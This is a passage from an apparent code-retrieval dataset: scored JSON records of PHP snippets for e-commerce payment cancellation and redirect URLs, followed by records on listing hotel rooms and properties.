try {\n /** @var $order Mage_Sales_Model_Order */\n\n $order->loadByIncrementId($session->getLastRealOrderId());\n $order->addStatusHistoryComment('Customer cancelled the payment',false);\n\n if (!$order->getId()) {\n Mage::throwException('No order for processing found');\n }\n if($order->canCancel()) {\n $order->cancel()->save();\n }\n } catch (Exception $e) {\n\n }\n\n $quote = Mage::getSingleton('sales/quote');\n $quote->load($order->getQuoteId());\n $session->setQuoteId($order->getQuoteId());\n $session->getQuote()->setIsActive(1)->save();\n\n // redirect customer to the cart (dirty)\n $redirectUrl = Mage::helper('checkout/cart')->getCartUrl();\n $block = new Mage_Core_Block_Template();\n $block->setTemplate('mcpservice/redirect.phtml');\n $block->assign('url',$redirectUrl);\n $block->assign('media_url',Mage::getBaseUrl() . '/../../media/micropayment/');\n $block->assign('year',date('Y'));\n $block->assign('payment_method',$order->getPayment());\n $block->assign('target','parent');\n\n echo $block->renderView();\n\n }", "title": "" }, { "docid": "4544899616b25bdc40182a6419707e9f", "score": "0.62388843", "text": "public function getOrderPlaceRedirectUrl()\n {\n return Mage::getUrl('starpay/processing/redirect');\n\t}", "title": "" }, { "docid": "3936f3929e5ef7d7bdbf6b230bbfe0fb", "score": "0.6236504", "text": "public function getOrderPlaceRedirectUrl()\n {\n /** @var Oggetto_Payment_Helper_Data $helper */\n $helper = Mage::helper('oggetto_payment');\n return $helper->getRedirectSecureUrl();\n }", "title": "" }, { "docid": "e840a3829dc17fb5d06a24307cb4cde3", "score": "0.6224098", "text": "public function cancelTransaction(){\n \n return Redirect::route('dashboard')\n\t\t\t \t->with('alertError', 'EWAY Transaction cancelled by user');\n }", "title": "" }, { "docid": "df13bf56c45c9f737c9e50b1963e66ba", "score": "0.62227696", "text": "protected function cancelLink()\n\t{\n\t\treturn '<p class=\"form-link-cancel\"><a href=\"/journal\">Back to Journal</a></p>';\n\t}", "title": "" }, { "docid": "df7907d9fe6fb7962964080f0fa7d264", "score": "0.6202314", "text": "public function getOrderPlaceRedirectUrl()\n {\n if (Mage::getStoreConfig('payment/bitcoin/fullscreen')) {\n if(Mage::helper(\"bitcoin\")->doesTheStoreHasSSL()){\n $target_url = Mage::getUrl(\"bitcoin/index/pay\" , array(\"_secure\" => true));\n }else{\n $target_url = Mage::getUrl(\"bitcoin/index/pay\" , array(\"_secure\" => false));\n }\n return $target_url;\n } else {\n return '';\n }\n }", "title": "" }, { "docid": "33cdaa323c94074656bee86f46ac8d0b", "score": "0.6198903", "text": "public function paymentcancel(Request $req){\n\treturn(\"Payment was cancelled\");\n }", "title": "" }, { "docid": "67c43b9d455aa1b7a16b528ffb93130b", "score": "0.6131635", "text": "function ting_visual_relation_slide_form_cancel($form, &$form_state) {\n // Go back to app-settings (or destination if parameter is set)\n $form_state['redirect'] = 'admin/config/ting/ting-visual-relation/app-settings';\n}", "title": "" }, { "docid": "170a7b3642727ef74ac5ddcd7dee3072", "score": "0.6127184", "text": "public function getOrderPlaceRedirectUrl()\n {\n return Mage::getUrl('plationline/api/placeform', array('_secure' => true));\n }", "title": "" }, { "docid": "5f9f104031e99fa044a8da1da9abcbf9", "score": "0.6122429", "text": "private function getRedirectUrlForQRPay() {\n try {\n $params = [\n 'amount' => $this->amount,\n 'currency' => $this->currency,\n 'description' => $this->description,\n 'source_type' => $this->paymentType,\n 'reference_order' => $this->referenceOrder,\n 'ref_1' => $this->ref1 ?? null,\n 'ref_2' => $this->ref2 ?? null,\n ];\n return $this->send('POST', '/qr/v2/order', $params);\n } catch (Exception $e) {\n throw $e;\n }\n }", "title": "" }, { "docid": "8119bae7e1e16d7a050c42c3a3002efa", "score": "0.6116077", "text": "public function actionCancelPayment()\n {\n $mid = Yii::$app->request->get('mid', false);\n $app = Yii::$app->request->get('app', false);\n $payment_id = Yii::$app->request->get('pid', false);\n\n if($mid && $app && $payment_id)\n {\n $sc = $this->getShopifyClientObj($mid, $app);\n if($sc)\n {\n $response = $sc->call('DELETE', '/admin/recurring_application_charges/'.$payment_id.'.json');\n if(!isset($response['errors'])) {\n echo '<p><b>cancelled successfully</b></p><p><a href=\"list-recurring?mid='.$mid.'&app='.$app.'\">Back</a></p>';\n die; \n } else {\n var_dump($response);die;\n }\n }\n else\n {\n die('shopify object not created.');\n }\n }\n else {\n die('invalid merchant_id OR app OR payment_id');\n } \n }", "title": "" }, { "docid": "28a89a08293b45506d65da8dfb848686", "score": "0.6113602", "text": "public function cancel()\n\t{\n\t\t$option = JRequest::getVar('option');\n\t\t$Itemid = JRequest::getVar('Itemid');\n\n\t\t$link = JRoute::_('index.php?option=' . $option . '&view=cart&Itemid=' . $Itemid, false); ?>\n\t\t<script language=\"javascript\">\n\t\t\twindow.parent.location.href = \"<?php echo $link ?>\";\n\t\t</script>\n\t\t<?php exit;\n\t}", "title": "" }, { "docid": "34a828378573fe7b9896e2776da194f5", "score": "0.61115617", "text": "protected function redirectTo()\n {\n return redirect()->back()->getTargetUrl();\n\n }", "title": "" }, { "docid": "3ffa45689b8a5092a41068bb4addd926", "score": "0.61097413", "text": "public function cancelAction()\n {\n $helper = Mage::helper('innobyte_payu_lite');\n try {\n $order = Mage::getModel('sales/order')\n ->loadByIncrementId($this->_getCheckout()->getData('payulite_order_increment_id'));\n if ($order->getIncrementId() !== $this->getRequest()->getParam('order', '')) {\n Mage::throwException(Mage::helper('innobyte_payu_lite')->__('Invalid order.'));\n }\n $this->_getCheckout()->unsetData('payulite_order_increment_id');\n $quote = Mage::getModel('sales/quote')->load($order->getQuoteId());\n \n /* cancel order */\n $order->cancel();\n $order->getStatusHistoryCollection()->getLastItem()->setComment($helper->__('Payment timeout.'));\n $order->save();\n \n /* reactivate quote */\n if ($quote->getId()) {\n $quote->setIsActive(true)->save();\n $this->_getCheckout()->setQuoteId($quote->getId());\n }\n /* debug error */\n $order->getPayment()->getMethodInstance()->debugData(\n 'Payment timeout expired for order \"' . $order->getIncrementId() . '\" in ' . __METHOD__\n );\n Mage::throwException($helper->__('Payment failed. The order has been canceled.'));\n } catch (Mage_Core_Exception $e) {\n $this->_getCheckout()->addError($e->getMessage());\n } catch (Exception $e) {\n $this->_getCheckout()->addError($helper->__('An error occurred. Please try again later.'));\n Mage::logException($e);\n }\n $this->_redirect('checkout/cart', array('_secure' => true));\n }", "title": "" }, { "docid": "18bf9b80f0be50d7aeda3cca8b10fce2", "score": "0.6093378", "text": "public function redirect() {\n $url = $this->_checkoutSession->getPaytrailRedirectUrl();\n\n if ($url) {\n return $url;\n }\n\n return FALSE;\n }", "title": "" }, { "docid": "d7013f44b580228fd85fe4dc4859f170", "score": "0.6092861", "text": "public final function getReturnUrl()\n {\n return Mage::getUrl('made_dibs/gateway/return',\n array('_secure' => true));\n }", "title": "" }, { "docid": "ce7045c998e7b61be2ed36fe4d2ccea9", "score": "0.609148", "text": "public function getBackUrl()\n {\n if ($this->httpContext->getValue(Context::CONTEXT_AUTH)) {\n return $this->getUrl('*/*/history');\n }\n\n return $this->getUrl('*/*/form');\n }", "title": "" }, { "docid": "73260d1934b97a903112f9f6c4221ba9", "score": "0.60901487", "text": "protected function getReturnUrl()\n {\n $deliveryExecution = $this->getCurrentDeliveryExecution();\n return _url('finishDeliveryExecution', 'DeliveryServer', 'ltiProctoring',\n ['deliveryExecution' => $deliveryExecution->getIdentifier()]\n );\n }", "title": "" }, { "docid": "8270de16105fd32782ecc20b45e4ee99", "score": "0.6047827", "text": "public function get_renewal_url() {\n\t\t$renewal_url = add_query_arg(\n\t\t\tarray(\n\t\t\t\t'subscription' => $this->get_id(),\n\t\t\t\t'key' => $this->get_key(),\n\t\t\t\t'action' => 'renew',\n\t\t\t), home_url()\n\t\t);\n\n\t\treturn $renewal_url;\n\t}", "title": "" }, { "docid": "574f11d678c3374ef06458788d74b0c1", "score": "0.60474014", "text": "public final function getCallbackUrl()\n {\n return Mage::getUrl('made_dibs/gateway/callback',\n array('_secure' => true));\n }", "title": "" }, { "docid": "4505a83118eb79e79555e939cea025c3", "score": "0.6036568", "text": "protected function redirectUrl() {\n return url('salesforce/oauth_callback', array(\n 'absolute' => TRUE,\n 'https' => TRUE,\n ));\n }", "title": "" }, { "docid": "1e5e0c4e4b8d3873415cc7ce0fb0a920", "score": "0.6018601", "text": "public function getRedirectUrl()\n {\n return $this->url->getUrl(\"adyen/process/redirect\"); //TODO this will be replaced by getOrigin() for PWA integrations\n }", "title": "" }, { "docid": "e37b9683738a95d01c07210d561e110e", "score": "0.6008402", "text": "public function actionCancel() {\n $token = $_GET['token'];\n /**\n * TODO: checking timeout transaction\n * Yii::app()->session->add(\"payment_processing\", null);\n */\n Yii::app()->session->add(\"payment_info\", null);\n $this->render('cancel');\n }", "title": "" }, { "docid": "4a7885dd1df26f792b64e0283afbf2d8", "score": "0.6008038", "text": "public function getConfirmInscriptionURL(){\n return $this->rootUrl().\"confirmInscription\";\n }", "title": "" }, { "docid": "b50087a9813639f29fb84784dc6f14ee", "score": "0.599849", "text": "public function getBackUrl()\n {\n if ($this->getOrder()->getBackUrl()) {\n return $this->getOrder()->getBackUrl();\n }\n\n return $this->getUrl('*/*/');\n }", "title": "" }, { "docid": "29c7165047bbf3ba39545ed62f59d832", "score": "0.59945273", "text": "public function getTaxRateDeleteUrl()\n {\n return $this->getUrl('tax/rate/ajaxDelete/');\n }", "title": "" }, { "docid": "d85034cc20acaa9bad512a1111d23f2d", "score": "0.59919405", "text": "public function cancelTask()\n\t{\n\t\t// Set the redirect\n\t\tApp::redirect(\n\t\t\tRoute::url('index.php?option=' . $this->_option . '&controller=' . $this->_controller)\n\t\t);\n\t}", "title": "" }, { "docid": "54ed9685745fbe650b7cf6d1b464b5fd", "score": "0.5986075", "text": "public function getOrderPlaceRedirectUrl()\n {\n return Mage::getUrl('worldnet/standard/redirect');\n }", "title": "" }, { "docid": "a19506e051c83a4c500102503a7da4ef", "score": "0.5985692", "text": "public function paymentUrl(array $options = []): ?string\n {\n if ($this->failed()) {\n $this->throw();\n }\n\n return $this->transactionUrl;\n }", "title": "" }, { "docid": "2a4fea4ffd038d5dbe82e9b2c754d39d", "score": "0.5979199", "text": "public function getBackUrl()\n {\n return $this->getUrl('*/*/list', ['id' => $this->getProductData()->getId()]);\n }", "title": "" }, { "docid": "41b3ad21b1071726c04e43a54a70bf3a", "score": "0.5973776", "text": "public function getReturnUrl() {\n return Url::fromRoute('entity.commerce_order.edit_form', ['commerce_order' => $this->order->id()]);\n }", "title": "" }, { "docid": "7dc4aae2fe860abb2cdf702193334e4c", "score": "0.5973272", "text": "public function paypal_cancel() {\n\t\t\t// on va donc chercher son adresse mail\n\t\t\t$user = $this->User->find('first', array(\n\t\t\t\t'conditions'=>array('id'=>$this->Auth->user('id')),\n\t\t\t\t'fields'=>array('mail')\n\t\t\t\t)\n\t\t\t);\n\n\t\t\t// et on lui envoie le mail de confirmation pour son annulation\n\t\t\tApp::uses('CakeEmail', 'Network/Email');\n\t\t\t$email = new CakeEmail('gmail');\n\t\t\t$email->to($user['User']['mail']) // à qui ? $this->Auth->user('mail')\n\t\t\t\t ->from(Configure::read('Site_Contact.mail')) // par qui ?\n\t\t\t\t ->subject('Votre demande a été annulée') // sujet du mail\n\t\t\t\t ->emailFormat('html') // le format à utiliser\n\t\t\t\t ->template('paypal_cancel') // le template à utiliser\n\t\t\t\t ->send(); // envoi du mail\n\n\t\t\t$this->Session->setFlash(__(\"Votre demande a été annulée\"), 'success');\n\t\t\t$this->redirect(array('controller'=>'posts', 'action'=>'index'));\n\t\t}", "title": "" }, { "docid": "c50b2663c680dd77dc4c48c20fa7e8c8", "score": "0.5963436", "text": "public function cancelAction() \n {\n if (Mage::getEdition() == Mage::EDITION_ENTERPRISE) {\n $this->helper()->storeCreditSessionUnset();\n $this->helper()->giftCardsSessionUnset();\n }\n\n $this->_redirect('checkout/cart');\n }", "title": "" }, { "docid": "3a350204b8510d9b96d9bf4ad9db6087", "score": "0.59500486", "text": "function cancel() {\r\n\t\t$this->setRedirect ( 'index.php' );\r\n\t}", "title": "" }, { "docid": "e9f767486e73346d6ce476e1d9cb4286", "score": "0.5945708", "text": "public function getRedirectUrl()\r\n {\r\n $order = $this->getOrder();\r\n $merchantUrl = 'https://sci.interkassa.com/';\r\n $payCurrency = $this->getDefaultCurrency();\r\n $orderAmount = $this->_order->val($this->getOrderSumm(), $order->getCurrency())->convert($payCurrency);\r\n\r\n $orderAmountVal = round($orderAmount->val(), 2);\r\n\r\n $fields = array(\r\n 'ik_co_id' => $this->config->get('shopid'),\r\n 'ik_pm_no' => $this->getOrderId(),\r\n 'ik_am' => $orderAmountVal,\r\n 'ik_cur' => $payCurrency,\r\n 'ik_ia_u' => $this->_jbrouter->payment('callback'),\r\n 'ik_ia_m' => 'post',\r\n 'ik_suc_u' => $this->_jbrouter->payment('success'),\r\n 'ik_suc_m' => 'post',\r\n 'ik_fal_u' => $this->_jbrouter->payment('fail'),\r\n 'ik_fal_m' => 'post',\r\n 'ik_pnd_u' => $this->_jbrouter->payment('success'),\r\n 'ik_pnd_m' => 'post',\r\n 'ik_desc' => $this->getOrderDescription(),\r\n 'ik_enc' => 'utf-8',\r\n 'ik_int' => 'web',\r\n 'ik_am_t' => 'invoice',\r\n );\r\n\r\n // add hash\r\n $fields['ik_sign'] = $this->_getIkHash($fields, $this->config->get('key'));\r\n\r\n return $merchantUrl . '?' . $this->_jbrouter->query($fields);\r\n }", "title": "" }, { "docid": "6885f23097ca57b471697e67b5efa89b", "score": "0.5944136", "text": "protected function redirectToPaymentPage()\n {\n return $this->redirect()->toRoute('continuation/payment', [], [], true);\n }", "title": "" }, { "docid": "f49e130b8d187bcad18587d0e0f5f8e8", "score": "0.59423506", "text": "public function getOrderPlaceRedirectUrl()\n {\n $this->getInfoInstance()->setMethodInstance(null);\n $actualInstance = $this->getInfoInstance()->getMethodInstance();\n return $actualInstance->getOrderPlaceRedirectUrl();\n }", "title": "" }, { "docid": "d6519cad7300f08cd1f44a3007c90774", "score": "0.59344435", "text": "protected function _getSaveAndContinueUrl()\n {\n return $this->getUrl('lofhelpdesk/*/save', ['_current' => true, 'back' => 'edit', 'active_tab' => '{{tab_id}}']);\n }", "title": "" }, { "docid": "29a6995935d2311f40a2ee056873d4b3", "score": "0.5932861", "text": "public function cancelAction() {\n if (Mage::getSingleton('checkout/session')->getLastRealOrderId()) {\n $order = Mage::getModel('sales/order')->loadByIncrementId(Mage::getSingleton('checkout/session')->getLastRealOrderId());\n if($order->getId()) {\n\t\t\t\t// Flag the order as 'cancelled' and save it\n\t\t\t\t$order->cancel()->setState(Mage_Sales_Model_Order::STATE_CANCELED, true, 'Gateway has declined the payment.')->save();\n\t\t\t}\n }\n\t}", "title": "" }, { "docid": "edbce60a298a87722a174e21384d73a2", "score": "0.5924477", "text": "function cancel()\n\t {\n\t\t$this->load->view('paypal/cancel');\n\t }", "title": "" }, { "docid": "bf5949f1060e9a296dd1f9182818530f", "score": "0.5915809", "text": "function cps_changeset_publish_changeset_form_cancel($form, &$form_state) {\n $form_state['redirect'] = $form_state['entity']->uri();\n}", "title": "" }, { "docid": "476361f1946f9b4235c8590788553b61", "score": "0.5912492", "text": "public function getRedirectUrl() : string\n {\n return '';\n }", "title": "" }, { "docid": "a32be7bac2f1e111fe4e4d9d8acb2385", "score": "0.5910951", "text": "public function cancel(){\n $msg = JText::_( 'COM_PARKWAY_POST_CANCELLED' );\n $this->setRedirect( 'index.php?option=com_parkway&view=floorplans' );\n\n }", "title": "" }, { "docid": "14ab4d841427e5a501d476e9cc5a91ac", "score": "0.5904201", "text": "public function get_assessment_continue_url()\n {\n return null;\n }", "title": "" }, { "docid": "d800a3a5b755e278a7c55d331d6d44bd", "score": "0.5896965", "text": "public function getReturnUrl()\n {\n return $this->_urlBuilder->getUrl('dilmah_payments/ntb/return');\n }", "title": "" }, { "docid": "ecfce704cea8924159f8224ef4d5b6a8", "score": "0.58939165", "text": "public function cancel()\n {\n $post = $_REQUEST;\n $model = & $this->getModel('jms');\n $model->cancelSubscription($post);\n $this->setRedirect('index.php?option=com_jms&view=jms&layout=cancel&id=' . $post['id'] . '&plan_id=' . $post['plan_id']);\n }", "title": "" }, { "docid": "eda291795b2bdc7b297ca13d40cf8ffe", "score": "0.5886974", "text": "public function cancelAction()\n {\n $session = Mage::getSingleton('checkout/session');\n $session->setQuoteId($session->getEcomPaymentStandardQuoteId(true));\n if ($session->getLastRealOrderId()) {\n $order = Mage::getModel('sales/order')->loadByIncrementId($session->getLastRealOrderId());\n if ($order->getId()) {\n $order->cancel()->save();\n }\n }\n $this->_redirect('checkout/cart');\n }", "title": "" }, { "docid": "d4d55228104366cfcd0092f25e25c98e", "score": "0.58729595", "text": "public function redirectTo()\n {\n return $this->SessionUrlsAreEqual('previous', 'current')\n ? route('orders.create')\n : $this->getSessionUrl('previous');\n }", "title": "" }, { "docid": "1feed86b0a0293d40a399548a5026944", "score": "0.5860978", "text": "function paypal_cancel()\n {\n $payment_id = $this->session->userdata('payment_id');\n $this->db->where('package_payment_id', $payment_id);\n $this->db->delete('package_payment');\n recache();\n $this->session->set_userdata('payment_id', '');\n $this->session->set_flashdata('alert', 'paypal_cancel');\n redirect(base_url() . 'home/plans', 'refresh');\n }", "title": "" }, { "docid": "425fb31fe596b074f84109724cca64bd", "score": "0.5858981", "text": "protected function redirectTo()\n {\n //if(session('next_url') != '') return session('next_url');\n //else return '/';\n //return Request::session()->get('_previous')['url'];\n return back()->getTargetUrl();\n }", "title": "" }, { "docid": "8f679d8005419f04a03ca45fc99b5806", "score": "0.58576834", "text": "public function getLastRedirect()\n {\n $redirectUrl = $this->_checkoutSession->getData('PO_REDIRECT_URL');\n if (empty($redirectUrl)) {\n throw new \\Exception('Can not redirect to payment gateway.');\n }\n\n return $redirectUrl;\n }", "title": "" }, { "docid": "9bcdb08f97f574f14fdc6e6ed5696eb6", "score": "0.5850908", "text": "private function getCancelLink() {\n\t\t$cancelParams = array();\n\n\t\treturn Linker::linkKnown(\n\t\t\t$this->getContext()->getTitle(),\n\t\t\twfMessage( 'cancel' )->parse(),\n\t\t\tarray( 'id' => 'mw-editform-cancel' ),\n\t\t\t$cancelParams\n\t\t);\n\t}", "title": "" }, { "docid": "fc7f0dc8a7b56db13ad72d2bc252a76b", "score": "0.58261377", "text": "protected function getReturnUrl()\n {\n $backUrl = $this->getSession()->inst_get('oauth2.backurl');\n if (!$backUrl || !Director::is_site_url($backUrl)) {\n $backUrl = Director::absoluteBaseURL();\n }\n\n return $backUrl;\n }", "title": "" }, { "docid": "9d443b791b3e5eadf88068c037957fcf", "score": "0.5823073", "text": "function cancel() {\r\n $this->setRedirect('index.php?option=com_jwf&controller=item', JText::_('Action cancelled'));\r\n }", "title": "" }, { "docid": "d378f309e306b3a971f6f969e8d0e38d", "score": "0.5821676", "text": "function get_remove_url( $cart_item_key ) {\n\t\t\tglobal $cmdeals;\n\t\t\t$cart_page_id = get_option('cmdeals_checkout_page_id');\n\t\t\tif ($cart_page_id) return $cmdeals->nonce_url( 'cart', add_query_arg('remove_item', $cart_item_key, get_permalink($cart_page_id)));\n\t\t}", "title": "" }, { "docid": "50ed92b447a0769398db1a7434d3ea4d", "score": "0.5818204", "text": "public function getRechargeUrl()\n {\n return $this->get(self::_RECHARGE_URL);\n }", "title": "" }, { "docid": "d722c560837c9c02ceeeb545e045363b", "score": "0.5814338", "text": "public function getPaymentUrl(){\n\t\t$order = $this->getOrder();\n\t\t$hostedpayment = Mage::getModel('hostedpayments/hostedpayment');\n\t\t$hostedpayment->load($order->getRealOrderId(), 'order_id');\n\t\t\n\t\t$paymentUrl = $hostedpayment->getUrl();\n\t\t\t\t\n\t\tif(!isset($paymentUrl) || trim($paymentUrl) == '' ){\n\t\t\t$paymentUrl = EvoSnapApi::getCheckoutUrl($this->_getOrderCheckout(),\n\t\t\t\t\t$this->getTrigger3ds(), $this->getHostedPaymentsConfiguration());\n\t\t\t\t\n\t\t\t$order->addStatusToHistory($order->getStatus(), Mage::helper('hostedpayments')->__('Customer was redirected to the Snap* Hosted Payments Checkout for payment.'));\n\t\t\t$order->save();\n\t\t\t\n\t\t\t$hostedpayment = Mage::getModel('hostedpayments/hostedpayment');\n\t\t\t$hostedpayment->setOrderId($order->getRealOrderId());\n\t\t\t$hostedpayment->setUrl($paymentUrl);\n\t\t\t$hostedpayment->setPrefix($this->getConfigData('order_prefix'));\n\t\t\t$hostedpayment->setDataChanges(true);\n\t\t\t$hostedpayment->save();\n\t\t}\n\t\t\n\t\treturn $paymentUrl;\n\t}", "title": "" }, { "docid": "272f91da10ab2cec4e65d6ed7bdd98e2", "score": "0.5807911", "text": "public function getContinueShoppingURL() {\n\t\treturn BASKET_CONTINUE_SHOPPING_URL;\n\t}", "title": "" }, { "docid": "de21413cc0b6e865cb325074ba782f26", "score": "0.5805027", "text": "public function cancel() {\n if ($this->session->has_userdata('order')) {\n $this->session->unset_userdata('order');\n }\n\n redirect('/menu');\n }", "title": "" }, { "docid": "f391ebeb8d66bb161b137dec44bcd456", "score": "0.57991433", "text": "public function getBackUrl($cart)\n {\n $id_customer = (int)$cart->id_customer;\n $secure_key = \"\";\n if ($id_customer) {\n $customer = new Customer($id_customer);\n if (Validate::isLoadedObject($customer)) {\n $secure_key = $customer->secure_key;\n }\n }\n return $this->context->link->getModuleLink(\n 'twispay',\n 'confirmation',\n array('cart_id' => $cart->id, 'secure_key' => $secure_key)\n );\n }", "title": "" }, { "docid": "b7bc7217faaeae191ceae99221df0ea7", "score": "0.57978916", "text": "public function getAutomaticReturnUrl()\n {\n return Mage::getUrl('starpay/processing/automatic',array('_secure'=>true));\n }", "title": "" }, { "docid": "ee31841e9d92aad8cb587ea6bd202f73", "score": "0.5790391", "text": "protected function getRedirectUrl()\n {\n $sBaseUrl = Registry::getConfig()->getCurrentShopUrl().'index.php?cl=order&fnc=handleMollieReturn';\n\n return $sBaseUrl.$this->mollieGetAdditionalParameters();\n }", "title": "" }, { "docid": "7fd287f18f4aa692a925baeb319d1a6e", "score": "0.5786986", "text": "public function getNormalReturnUrl()\n {\n return Mage::getUrl('starpay/processing/normal',array('_secure'=>true));\n }", "title": "" } ]
82b010bfe453efdd5b7207c1384d7be5
Show All Rooms by Property ID
[ { "docid": "57d02234dd92bea66590e172a049b3c5", "score": "0.74947596", "text": "public function showRoomsByPropertyId($property_id)\n {\n $results = $this->Room->getRoomsByPropertyId($property_id);\n\n return $results;\n }", "title": "" } ]
[ { "docid": "ac708114aab28ff11a81f65e9fac1bb1", "score": "0.7095526", "text": "public function getRoomsByPropertyId($property_id)\n {\n $sql = \"SELECT * FROM property_rooms WHERE listing_id = ?\";\n $stmt = $this->connect()->prepare($sql);\n $stmt->execute([$property_id]);\n\n $results = $stmt->fetchAll();\n return $results;\n }", "title": "" }, { "docid": "612bdefee83da2462bc447f1f0c0f396", "score": "0.6930753", "text": "public function index($id)\n\t{\n\t\t$properties = Bedroom::select('id', 'bedroom_asigned', 'status', 'beds', 'size_metrics', 'description', 'image', 'property_id')\n\t\t\t->with('Property')\n\t\t\t->where('property_id', '=', $id)\n\t\t\t->get();\n\t\t$count = Bedroom::select('id', 'property_id')\n\t\t\t->with('Property')\n\t\t\t->where('property_id', '=', $id)\n\t\t\t->count();\n\t\treturn view('admin.properties.bedrooms.show', compact('properties', 'count'));\n\t\t//dd($properties);\n\t}", "title": "" }, { "docid": "584984a25aad24d7fbb634cc84bc3e65", "score": "0.6920423", "text": "public function getRoomById($id)\n {\n $sql = \"SELECT * FROM property_rooms WHERE room_id = ?\";\n $stmt = $this->connect()->prepare($sql);\n $stmt->execute([$id]);\n\n $results = $stmt->fetchAll();\n return $results;\n }", "title": "" }, { "docid": "76ae5ad27fdf12208c0fad6976910bc0", "score": "0.66110593", "text": "public function getAllRooms()\n {\n $sql = \"SELECT * FROM property_rooms\";\n $stmt = $this->connect()->prepare($sql);\n $stmt->execute([]);\n\n $results = $stmt->fetchAll();\n return $results;\n }", "title": "" }, { "docid": "bc91116aa32e7b158102542ffc41de50", "score": "0.65758264", "text": "public function showRoomById($id)\n {\n $results = $this->Room->getRoomById($id);\n\n return $results;\n }", "title": "" }, { "docid": "3448cb23b5e0fa647aa857dda2de487f", "score": "0.6559088", "text": "public function show(Property $id)\n {\n //\n }", "title": "" }, { "docid": "3de9b02a5fe278a1a911a3fd3651dee9", "score": "0.6467214", "text": "public function show(Property $property)\n {\n $rooms = DB::table('property_room')\n ->select(DB::raw('count(*) as total, rooms.name'))\n ->leftJoin('rooms', 'rooms.id', '=', 'property_room.room_id')\n ->where('property_id', $property->id)\n ->groupBy('rooms.id')\n ->get();\n\n //dd($rooms);\n return view('properties.show', compact('rooms'), [\n 'property' => $property\n ]);\n }", "title": "" }, { "docid": "57c2517e3ce056e556f2a0d73b1b37bd", "score": "0.64363486", "text": "public function show($id)\n {\n return Room::find($id);\n }", "title": "" }, { "docid": "57c2517e3ce056e556f2a0d73b1b37bd", "score": "0.64363486", "text": "public function show($id)\n {\n return Room::find($id);\n }", "title": "" }, { "docid": "5a4c9cac4dc84f6ff3f53d3cdb9b4b77", "score": "0.6279163", "text": "public function index(int $id)\n {\n return RoomResource::collection($this->roomRepository->getRoomsByHotelId($id));\n }", "title": "" }, { "docid": "def6c3c8a3020cc9e329aa575eb50263", "score": "0.624485", "text": "public function show($id)\n\t{\n\t\t$user_id = Auth::user()->id;\n\t\t$room = Room::where('id', $id)->where('user_id', $user_id)->first();\n $room->amenities = explode(\",\", $room->amenities);\n return view('host.room.manage-listing', compact('room'));\n\t}", "title": "" }, { "docid": "6dcff15490fcec0dbc3a28eac174e55c", "score": "0.62282485", "text": "public function show($id)\n {\n dd(Room::find($id));\n }", "title": "" }, { "docid": "abd52e423d25b7a3e368027ea14ebd07", "score": "0.61636543", "text": "public function propertyDetails($id){\n $property = DB::table('immovableproperty')->where('propertyId',$id)->get();\n return view('Staff.viewPropertyDetails')->with('property', $property);\n }", "title": "" }, { "docid": "5e8d56b55a96b4d9a1ba16bd42c1a11e", "score": "0.61613107", "text": "public function getRooms()\n {\n return $this->hasMany(Room::className(), ['floorid' => 'floorid']);\n }", "title": "" }, { "docid": "7d2b1ce8f3fd29b770394dce6e5c8871", "score": "0.6118533", "text": "private function listRoom()\n\t{\n\t\t$room = $this->calendarObj->getListRoom();\n\t\tforeach($room as $key => $val)\n\t\t{\n\t\t\t$arr = array('ROOM_ID' => $val['id_room'],\n\t\t\t\t\t\t 'ROOM_NAME' => $val['name_room']);\n\t\t\t$this->viewObj->addToReplace($arr);\n\t\t\t$this->arrRender['ROOMLIST'] .= $this->viewObj->\n\t\t\tsetTemplateFile('room')->renderFile();\n\t\t}\n\t}", "title": "" }, { "docid": "3be40fd592ca56a922b1b2eb91d57c86", "score": "0.6107167", "text": "public function viewagentproperties($id = null) {\n //ensure admin is loggedin\n $admin = $this->Admins->find('all')->where(['user_id' => $this->Auth->user('id')])->first();\n\n if (!$admin) {\n $this->Flash->error('Please login to continue.');\n return $this->redirect(['controller' => 'Users', 'action' => 'login']);\n }\n $this->set('admin', $admin);\n $properties_table = TableRegistry::get('Properties');\n $agents_table = TableRegistry::get('Agents');\n $agent = $agents_table->get($id);\n $agent_properties = $properties_table->find()\n ->contain(['Categories', 'Images', 'States'])\n ->where(['agent_id' => $id]);\n $this->set('agent_properties', $this->paginate($agent_properties));\n $this->set('agent', $agent);\n $this->viewBuilder()->layout('adminbackend');\n }", "title": "" }, { "docid": "101ccb06243c2e8630f17140bcdddf1d", "score": "0.61039245", "text": "public function show(Rooms $rooms)\n {\n return $rooms;\n }", "title": "" }, { "docid": "e9306328f4dc899bb2c1bc7d667080fc", "score": "0.60826015", "text": "public function show(ListOfRooms $listOfRooms)\n {\n //\n }", "title": "" }, { "docid": "a224f832a1cebd8779a2711a099f4ed2", "score": "0.6082097", "text": "public function allproperties() {\n\n //ensure admin is loggedin\n $admin = $this->Admins->find('all')->where(['user_id' => $this->Auth->user('id')])->first();\n\n if (!$admin) {\n $this->Flash->error('Please login to continue.');\n return $this->redirect(['controller' => 'Users', 'action' => 'login']);\n }\n $this->set('admin', $admin);\n $properties_table = TableRegistry::get('Properties');\n $allproperties = $properties_table->find()\n ->contain(['States', 'Cities', 'Images', 'Categories', 'Categorysubtypes', 'Categorytypes'])\n ->order(['listing_date_added' => 'DESC']);\n $this->set('allproperties', $this->paginate($allproperties));\n\n\n $this->viewBuilder()->layout('adminbackend');\n }", "title": "" }, { "docid": "2d515ae235c2de37dfa3ed7adff791bd", "score": "0.60271806", "text": "public function index()\n {\n return Room::all();\n }", "title": "" }, { "docid": "2e724368cedda6bd9320e6f3609236c5", "score": "0.60243", "text": "public function show(Room $room)\n {\n //\n }", "title": "" }, { "docid": "2e724368cedda6bd9320e6f3609236c5", "score": "0.60243", "text": "public function show(Room $room)\n {\n //\n }", "title": "" }, { "docid": "2e724368cedda6bd9320e6f3609236c5", "score": "0.60243", "text": "public function show(Room $room)\n {\n //\n }", "title": "" }, { "docid": "2e724368cedda6bd9320e6f3609236c5", "score": "0.60243", "text": "public function show(Room $room)\n {\n //\n }", "title": "" }, { "docid": "94b95c0ee56e57cb93c9e88f03198834", "score": "0.60194784", "text": "public function show(Room $room)\n {\n \n }", "title": "" }, { "docid": "b9bf220ea48a19e5e12a3a8865283b98", "score": "0.601173", "text": "function getRoomsDetails($id)\r\n\t\t{\r\n\t\t\t$query=$this->db->query(\"select * from op_rooms where user_id='$id'\")->result_array();\r\n\t\t\treturn $query;\r\n\t\t}", "title": "" }, { "docid": "23359f81540888a52e72c5d33f868d33", "score": "0.60026854", "text": "public function show($id, Request $request)\n {\n $house = \\App\\Models\\House::findOrFail($id);\n $rooms = Room::where('house_id', $id)->paginate(10);\n $filterKeyword = $request->get('keywoard');\n if 